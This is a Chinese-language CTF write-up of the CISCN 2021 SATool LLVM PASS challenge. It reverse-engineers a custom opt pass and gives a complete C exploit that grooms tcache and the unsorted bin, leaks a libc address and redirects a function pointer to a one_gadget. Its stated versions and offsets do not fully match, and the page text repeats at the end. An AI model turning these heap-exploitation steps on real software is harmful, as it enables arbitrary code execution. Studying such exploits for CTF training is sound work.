LLVM PASS PWN (二)
字数 1224 2025-08-26 22:11:40

LLVM PASS PWN 漏洞利用深度解析

1. 背景介绍

LLVM PASS PWN 是一种针对 LLVM 优化器(opt)及其自定义 PASS 模块的安全漏洞利用技术。本文以 CISCN 2021 SATool 题目为例,详细讲解如何分析、调试和利用 LLVM PASS 中的漏洞。

2. 环境准备

2.1 必要组件

  • LLVM 8.0.1 版本的 opt 工具
  • 自定义 PASS 模块 (SAPass.so)
  • 配套的 libc-2.27.so 和 libstdc++.so.6.0.25

2.2 调试环境搭建

gdb /bin/opt-12
set args [PASS参数] [输入文件]

3. 漏洞分析

3.1 目标识别

  • 攻击目标:opt 工具加载的自定义 PASS 模块 (SAPass.so)
  • 关键函数:重写的 runOnFunction 方法

3.2 逆向分析关键点

3.2.1 函数名检查

if (v3 == 8 && *Name == 'r0oDkc4B')  // 实际检查 "B4ckDo0r"
  • 只处理名为 "B4ckDo0r" 的函数
  • 函数名长度必须为 8 字节

3.2.2 函数功能分析

  1. save 函数

    • 需要两个参数
    • 将参数存入堆内存中
    • 关键结构:
      heap_ptr[0] = param1;
      heap_ptr[1] = param2;
      
  2. takeaway 函数

    • 操作:heap_ptr = (_QWORD *)heap_ptr[2];
    • 效果:移动堆指针
  3. stealkey 函数

    • 操作:byte_204100 = *heap_ptr;
    • 效果:将 save 的第一个参数存入全局变量
  4. fakekey 函数

    • 需要一个整数参数
    • 操作:
      byte_204100 += param;
      *heap_ptr += param;
      
  5. run 函数

    • 关键操作:(*heap_ptr)();
    • 效果:执行 heap_ptr 指向的地址

4. 漏洞利用

4.1 利用思路

  1. 通过 save 函数在堆上布置数据
  2. 利用 takeaway 操作堆指针
  3. 通过 stealkey 和 fakekey 修改关键指针
  4. 最终通过 run 执行 shellcode 或 one_gadget

4.2 具体步骤

  1. 堆布局

    • 连续调用 save 填满 tcache
    • 最后一次 save 触发 unsorted bin
    save("z1r0", "z1r0"); // 7次填满tcache
    save("", "z1r0");     // 触发unsorted bin
    
  2. 泄露 libc 地址

    • stealkey 将 main_arena 地址存入全局变量
    stealkey();
    
  3. 计算 one_gadget 偏移

    • 计算 main_arena+112 到 one_gadget 的偏移
    main_arena+112: 0x7ffff4025bf0
    libc_base:     0x7ffff3e39000
    offset:        0x1ecbf0
    one_gadget:    0xe3afe
    最终偏移:      -0x1090f2
    
  4. 修改函数指针

    fakekey(-0x1090f2); // 将*heap_ptr改为one_gadget
    
  5. 触发执行

    run(); // 执行one_gadget
    

4.3 完整利用代码

#include <stdio.h>

void save(char *a, char *b){}
void takeaway(char *c){}
void stealkey(){}
void fakekey(int d){}
void run(){}

int B4ckDo0r(){
    // 填满tcache并触发unsorted bin
    save("z1r0", "z1r0");
    save("z1r0", "z1r0");
    save("z1r0", "z1r0");
    save("z1r0", "z1r0");
    save("z1r0", "z1r0");
    save("z1r0", "z1r0");
    save("z1r0", "z1r0");
    save("", "z1r0");
    
    // 泄露地址并修改为one_gadget
    stealkey();
    fakekey(-0x1090f2);
    
    // 触发执行
    run();
    return 0;
}

5. 调试技巧

  1. 模块加载检测

    • 使用 vmmap 确认 PASS 模块是否加载成功
    • 在模块基址+偏移处下断点
  2. 动静结合分析

    • 编写最小测试用例逐步验证
    • 结合 IDA 静态分析与 GDB 动态调试
  3. 关键断点设置

    b *(SAPass.so基址+0x1A14)  // 检查函数名
    b *(SAPass.so基址+0x1A9E)  // 检查printf调用
    

6. 总结

  1. LLVM PASS PWN 的核心是分析自定义 PASS 中的漏洞
  2. 关键点在于识别重写的 runOnFunction 及其处理逻辑
  3. 利用堆操作和指针修改实现任意代码执行
  4. 动静结合分析是快速理解复杂逻辑的有效方法

7. 扩展思考

  1. 不同 LLVM 版本的差异对利用的影响
  2. 其他可能存在的 PASS 漏洞模式
  3. 如何防护此类漏洞(如签名验证、权限控制等)
LLVM PASS PWN 漏洞利用深度解析 1. 背景介绍 LLVM PASS PWN 是一种针对 LLVM 优化器(opt)及其自定义 PASS 模块的安全漏洞利用技术。本文以 CISCN 2021 SATool 题目为例,详细讲解如何分析、调试和利用 LLVM PASS 中的漏洞。 2. 环境准备 2.1 必要组件 LLVM 8.0.1 版本的 opt 工具 自定义 PASS 模块 (SAPass.so) 配套的 libc-2.27.so 和 libstdc++.so.6.0.25 2.2 调试环境搭建 3. 漏洞分析 3.1 目标识别 攻击目标:opt 工具加载的自定义 PASS 模块 (SAPass.so) 关键函数:重写的 runOnFunction 方法 3.2 逆向分析关键点 3.2.1 函数名检查 只处理名为 "B4ckDo0r" 的函数 函数名长度必须为 8 字节 3.2.2 函数功能分析 save 函数 需要两个参数 将参数存入堆内存中 关键结构: takeaway 函数 操作: heap_ptr = (_QWORD *)heap_ptr[2]; 效果:移动堆指针 stealkey 函数 操作: byte_204100 = *heap_ptr; 效果:将 save 的第一个参数存入全局变量 fakekey 函数 需要一个整数参数 操作: run 函数 关键操作: (*heap_ptr)(); 效果:执行 heap_ ptr 指向的地址 4. 漏洞利用 4.1 利用思路 通过 save 函数在堆上布置数据 利用 takeaway 操作堆指针 通过 stealkey 和 fakekey 修改关键指针 最终通过 run 执行 shellcode 或 one_ gadget 4.2 具体步骤 堆布局 连续调用 save 填满 tcache 最后一次 save 触发 unsorted bin 泄露 libc 地址 stealkey 将 main_ arena 地址存入全局变量 计算 one_ gadget 偏移 计算 main_ arena+112 到 one_ gadget 的偏移 修改函数指针 触发执行 4.3 完整利用代码 5. 调试技巧 模块加载检测 使用 vmmap 确认 PASS 模块是否加载成功 在模块基址+偏移处下断点 动静结合分析 编写最小测试用例逐步验证 结合 IDA 静态分析与 GDB 动态调试 关键断点设置 6. 总结 LLVM PASS PWN 的核心是分析自定义 PASS 中的漏洞 关键点在于识别重写的 runOnFunction 及其处理逻辑 利用堆操作和指针修改实现任意代码执行 动静结合分析是快速理解复杂逻辑的有效方法 7. 扩展思考 不同 LLVM 版本的差异对利用的影响 其他可能存在的 PASS 漏洞模式 如何防护此类漏洞(如签名验证、权限控制等)